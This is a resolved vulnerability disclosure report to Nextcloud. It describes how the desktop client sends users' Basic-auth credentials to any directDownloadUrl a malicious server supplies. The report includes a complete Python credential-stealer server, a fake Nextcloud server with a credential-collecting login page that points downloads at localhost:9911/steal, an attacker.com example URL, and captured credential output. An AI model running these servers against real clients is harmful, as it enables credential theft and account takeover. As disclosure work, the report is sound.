Credential Disclosure via Unvalidated directDownloadUrl (Missing DontAddCredentialsAttribute)

Disclosed: 2026-04-13 16:23:08 By py0zz1 To nextcloud
Medium
Vulnerability Details
# Summary: The Nextcloud Desktop Client automatically includes user credentials (Authorization header with username:password in Base64) when downloading files via the `directDownloadUrl` feature. A malicious Nextcloud server can exploit this by setting `directDownloadUrl` to an attacker-controlled URL, causing the client to leak credentials to the attacker's server. **Root Cause:** The client fails to validate the origin of `directDownloadUrl` and does not set `DontAddCredentialsAttribute` for cross-origin requests, allowing `HttpCredentialsAccessManager` to automatically inject Authorization headers to any URL specified by the server, including attacker-controlled domains. --- # Technical Details ### Vulnerable Code **File:** `src/libsync/propagatedownload.cpp` **Lines:** 727-738 ```cpp } else { // We were provided a direct URL, use that one qCInfo(lcPropagateDownload) << "directDownloadUrl given for " << _item->_file << _item->_directDownloadUrl; if (!_item->_directDownloadCookies.isEmpty()) { headers["Cookie"] = _item->_directDownloadCookies.toUtf8(); } QUrl url = QUrl::fromUserInput(_item->_directDownloadUrl); _job = new GETFileJob(propagator()->account(), // ← Passes account object url, &_tmpFile, headers, expectedEtagForResume, _resumeStart, this); // Missing: req.setAttribute(HttpCredentials::DontAddCredentialsAttribute, true); } ``` ### Auto-Injection of Credentials **File:** `src/libsync/creds/httpcredentials.cpp` **Lines:** 51-64 ```cpp QNetworkReply *createRequest(Operation op, const QNetworkRequest &request, QIODevice *outgoingData) override { QNetworkRequest req(request); if (!req.attribute(HttpCredentials::DontAddCredentialsAttribute).toBool()) { // ← If DontAddCredentialsAttribute is NOT set, credentials are added if (_cred && !_cred->password().isEmpty()) { QByteArray credHash = QByteArray(_cred->user().toUtf8() + ":" + _cred->password().toUtf8()).toBase64(); req.setRawHeader("Authorization", "Basic " + credHash); // ← Auto-injected! } } return AccessManager::createRequest(op, req, outgoingData); } ``` ### Design Intent vs. Actual Behavior The `directDownloadUrl` feature can be used for various scenarios: **Scenario A - Same Origin (e.g., different path):** ```xml <oc:downloadURL>https://mycloud.com/download/optimized/file.pdf</oc:downloadURL> ``` → Sending Authorization header is **acceptable** (same server) **Scenario B - Different Subdomain (e.g., CDN):** ```xml <oc:downloadURL>https://cdn.mycloud.com/files/file.pdf</oc:downloadURL> ``` → Sending Authorization header is **questionable** (different origin) **Scenario C - External Domain (e.g., S3, attacker):** ```xml <oc:downloadURL>https://attacker.com/steal</oc:downloadURL> ``` → Sending Authorization header is **dangerous** (credential leak) **The Critical Bug:** The code performs **NO origin validation** before sending credentials. It sends Authorization headers to **ALL URLs** without checking whether: - URL is same origin as the server - URL is a trusted domain - URL is external/untrusted This creates a vulnerability where: - Malicious servers can specify attacker-controlled URLs - Client blindly sends credentials to any URL provided by the server - No protection against cross-origin credential leakage **Evidence:** ```cpp // propagatedownload.cpp:735-738 QUrl url = QUrl::fromUserInput(_item->_directDownloadUrl); // ← No validation! _job = new GETFileJob(propagator()->account(), url, ...); // ← Always includes account // No check: if (url.host() != server.host()) DontAddCredentialsAttribute ``` The existence of `dDC` (directDownloadCookies) field suggests external URLs should use separate authentication, but the code doesn't enforce this distinction. --- # Steps To Reproduce: ### Prerequisites - Python 3.x - Nextcloud Desktop Client (any version) ### Step 1: Start the Credential Stealer Server ```python #!/usr/bin/env python3 from http.server import BaseHTTPRequestHandler, HTTPServer import base64 class CredStealer(BaseHTTPRequestHandler): def do_GET(self): auth = self.headers.get('Authorization', '') if auth.startswith('Basic '): decoded = base64.b64decode(auth[6:]).decode('utf-8') print(f"[SUCCESS] Stolen User Credentials: {decoded}") print(f" (Raw: {auth})") else: print(f" Authorization Header: {auth}") self.send_response(200) self.end_headers() self.wfile.write(b'OK') HTTPServer(('', 9911), CredStealer).serve_forever() ``` **Terminal 1:** ```bash python3 credential_stealer_server.py ``` This server listens on port 9911 and captures any Authorization headers. ### Step 2: Start the Malicious Nextcloud Server ```python #!/usr/bin/env python3 from http.server import BaseHTTPRequestHandler, HTTPServer import json class FakeNextcloud(BaseHTTPRequestHandler): # Store actual user credentials user_credentials = {} def do_GET(self): print(f"[GET] {self.path}") # Basic Auth check auth_header = self.headers.get('Authorization', '') if auth_header and auth_header.startswith('Basic '): import base64 try: decoded = base64.b64decode(auth_header[6:]).decode('utf-8') username, password = decoded.split(':', 1) print(f"[AUTH] Client sent: {username}:{password}") # Store actual credentials FakeNextcloud.user_credentials['username'] = username FakeNextcloud.user_credentials['password'] = password except: pass # When the client tries to download document.pdf directly if self.path.endswith('document.pdf'): print("[!] Client trying to download without directDownloadUrl") print("[!] Redirecting to malicious URL...") # Redirect to steal_server via 302 self.send_response(302) self.send_header('Location', 'http://localhost:9911/steal') self.end_headers() return if self.path == '/status.php': response = json.dumps({ "installed": True, "version": "28.0.0.0", "productname": "Nextcloud" }).encode() self.send_response(200) self.send_header('Content-Type', 'application/json') self.end_headers() self.wfile.write(response) elif '/ocs/' in self.path and 'capabilities' in self.path: # Capabilities response response = json.dumps({ "ocs": { "meta": {"status": "ok", "statuscode": 200, "message": "OK"}, "data": { "version": {"major": 28, "minor": 0, "string": "28.0.0"}, "capabilities": { "core": {"pollinterval": 60}, "files": {"bigfilechunking": True, "directEditing": {}}, "dav": {"chunking": "1.0"} } } } }).encode() self.send_response(200) self.send_header('Content-Type', 'application/json') self.end_headers() self.wfile.write(response) elif '/ocs/' in self.path and 'user' in self.path: # User info response response = json.dumps({ "ocs": { "meta": {"status": "ok", "statuscode": 200, "message": "OK"}, "data": { "id": "test", "displayname": "Test User", "email": "[email protected]", "quota": {"free": 1000000000, "used": 0, "total": 1000000000} } } }).encode() self.send_response(200) self.send_header('Content-Type', 'application/json') self.end_headers() self.wfile.write(response) elif self.path == '/login-page': # Login page - user enters actual credentials html = b'''<!DOCTYPE html> <html> <head><title>Nextcloud Login</title></head> <body style="font-family: sans-serif; max-width: 400px; margin: 100px auto; text-align: center;"> <h1>Nextcloud</h1> <p style="color: red; font-weight: bold;">Enter YOUR REAL credentials to test vulnerability</p> <form method="POST" action="/login-submit"> <input type="text" name="user" placeholder="Your Real Username" required style="width: 100%; padding: 10px; margin: 10px 0;"><br> <input type="password" name="password" placeholder="Your Real Password" required style="width: 100%; padding: 10px; margin: 10px 0;"><br> <button type="submit" style="width: 100%; padding: 10px; background: #0082c9; color: white; border: none; cursor: pointer;">Login</button> </form> <p style="font-size: 12px; color: #666; margin-top: 20px;"> This is a FAKE server for vulnerability testing.<br> Your credentials will be sent to steal_server (port 9911) </p> </body> </html>''' self.send_response(200) self.send_header('Content-Type', 'text/html') self.end_headers() self.wfile.write(html) else: self.send_response(200) self.end_headers() login_completed = False submitted_username = "" submitted_password = "" def do_POST(self): print(f"[POST] {self.path}") if self.path.startswith('/index.php/login/v2') and not self.path.endswith('/poll'): # Login Flow v2 initial request response = json.dumps({ "poll": { "token": "fake-poll-token", "endpoint": f"http://localhost:8811/index.php/login/v2/poll" }, "login": f"http://localhost:8811/login-page" }).encode() self.send_response(200) self.send_header('Content-Type', 'application/json') self.end_headers() self.wfile.write(response) elif self.path.endswith('/poll'): # Poll request - check if login is complete if FakeNextcloud.login_completed: print(f"[!] Login approved - sending credentials: {FakeNextcloud.submitted_username}") # Send actual credentials to the client response = json.dumps({ "server": f"http://localhost:8811", "loginName": FakeNextcloud.submitted_username, "appPassword": FakeNextcloud.submitted_password }).encode() self.send_response(200) self.send_header('Content-Type', 'application/json') self.end_headers() self.wfile.write(response) else: # Login not complete self.send_response(404) self.end_headers() elif self.path == '/login-submit': # Login submission processing - extract actual credentials content_length = int(self.headers.get('Content-Length', 0)) post_data = self.rfile.read(content_length).decode('utf-8') # Parse POST data from urllib.parse import parse_qs params = parse_qs(post_data) username = params.get('user', [''])[0] password = params.get('password', [''])[0] FakeNextcloud.submitted_username = username FakeNextcloud.submitted_password = password FakeNextcloud.login_completed = True print(f"\n{'='*60}") print(f"[!] User submitted credentials:") print(f" Username: {username}") print(f" Password: {password}") print(f"{'='*60}\n") html = b'''<!DOCTYPE html> <html> <head><title>Login Success</title></head> <body style="font-family: sans-serif; max-width: 400px; margin: 100px auto; text-align: center;"> <h1>Login Successful</h1> <p>You can now return to Nextcloud client</p> <p>You can close this window</p> </body> </html>''' self.send_response(200) self.send_header('Content-Type', 'text/html') self.end_headers() self.wfile.write(html) else: self.send_response(200) self.end_headers() def do_PROPFIND(self): import time import random print(f"\n[!] PROPFIND request: {self.path}") # Root folder request - empty folder response if self.path.endswith('/test/') or self.path.endswith('/test'): timestamp = time.strftime('%a, %d %b %Y %H:%M:%S GMT', time.gmtime()) response = f'''<?xml version="1.0"?> <d:multistatus xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns"> <d:response> <d:href>/remote.php/dav/files/test/</d:href> <d:propstat> <d:prop> <d:resourcetype><d:collection/></d:resourcetype> <d:getlastmodified>{timestamp}</d:getlastmodified> <d:getetag>"root-folder"</d:getetag> <oc:id>00000000root00000000</oc:id> <oc:permissions>RGDNVCK</oc:permissions> </d:prop> <d:status>HTTP/1.1 200 OK</d:status> </d:propstat> </d:response> <d:response> <d:href>/remote.php/dav/files/test/document.pdf</d:href> <d:propstat> <d:prop> <d:resourcetype/> <d:getlastmodified>{timestamp}</d:getlastmodified> <d:getcontentlength>524288</d:getcontentlength> <d:getetag>"{random.randint(10000, 99999)}"</d:getetag> <oc:id>00000001ocid000000000001</oc:id> <oc:fileid>12345</oc:fileid> <oc:permissions>RGDNVW</oc:permissions> <oc:size>524288</oc:size> <oc:downloadURL>http://localhost:9911/steal</oc:downloadURL> </d:prop> <d:status>HTTP/1.1 200 OK</d:status> </d:propstat> </d:response> </d:multistatus>'''.encode('utf-8') print(f"[!] Returning folder with malicious document.pdf") print(f"[!] directDownloadUrl=http://localhost:9911/steal") else: # Other requests - empty response response = b'''<?xml version="1.0"?> <d:multistatus xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns"> </d:multistatus>''' print(f"[!] Returning empty response") self.send_response(207) self.send_header('Content-Type', 'application/xml; charset=utf-8') self.end_headers() self.wfile.write(response) HTTPServer(('', 8811), FakeNextcloud).serve_forever() ``` **Terminal 2:** ```bash python3 malicious_nextcloud_server.py ``` This server simulates a malicious Nextcloud server on port 8811. ### Step 3: Configure Nextcloud Desktop Client 1. Open Nextcloud Desktop Client 2. Click "Add Account" 3. Click "Log in" 4. Enter server URL: `http://localhost:8811` 5. Click "Open Browser" when prompted 6. In the browser login page, enter test credentials: - Username: `testuser` - Password: `MySecretPassword123` 7. Click "Login" button 8. Return to client and select any local folder 9. Click "Connect" 10. Captured Authorization Header in `steal_server terminal` ### Step 4: Observe Credential Theft **Terminal 2 (credential_stealer_server.py) will display:** ``` bash [GET] Request received: /steal [SUCCESS] Stolen User Credentials: pyozzi:pyozzi_password (Raw: Basic cHlvenppOnB5b3p6aV9wYXNzd29yZA==) 127.0.0.1 - - [26/Oct/2025 19:34:54] "GET /steal HTTP/1.1" 200 - [GET] Request received: /steal [SUCCESS] Stolen User Credentials: pyozzi:pyozzi_password (Raw: Basic cHlvenppOnB5b3p6aV9wYXNzd29yZA==) 127.0.0.1 - - [26/Oct/2025 19:34:54] "GET /steal HTTP/1.1" 200 - [GET] Request received: /steal [SUCCESS] Stolen User Credentials: pyozzi:pyozzi_password (Raw: Basic cHlvenppOnB5b3p6aV9wYXNzd29yZA==) 127.0.0.1 - - [26/Oct/2025 19:34:55] "GET /steal HTTP/1.1" 200 - ``` ## Supporting Material/References: {F4933976} * [attachment / reference] ## Impact Complete account takeover - attackers gain full access to the victim's Nextcloud account with plaintext credentials. With the stolen credentials, attackers can access all sensitive user data including personal files, documents, contacts, calendars, and shared resources.
Actions
View on HackerOne
Report Stats
  • Report ID: 3400143
  • State: Closed
  • Substate: resolved
  • Upvotes: 3
Share this report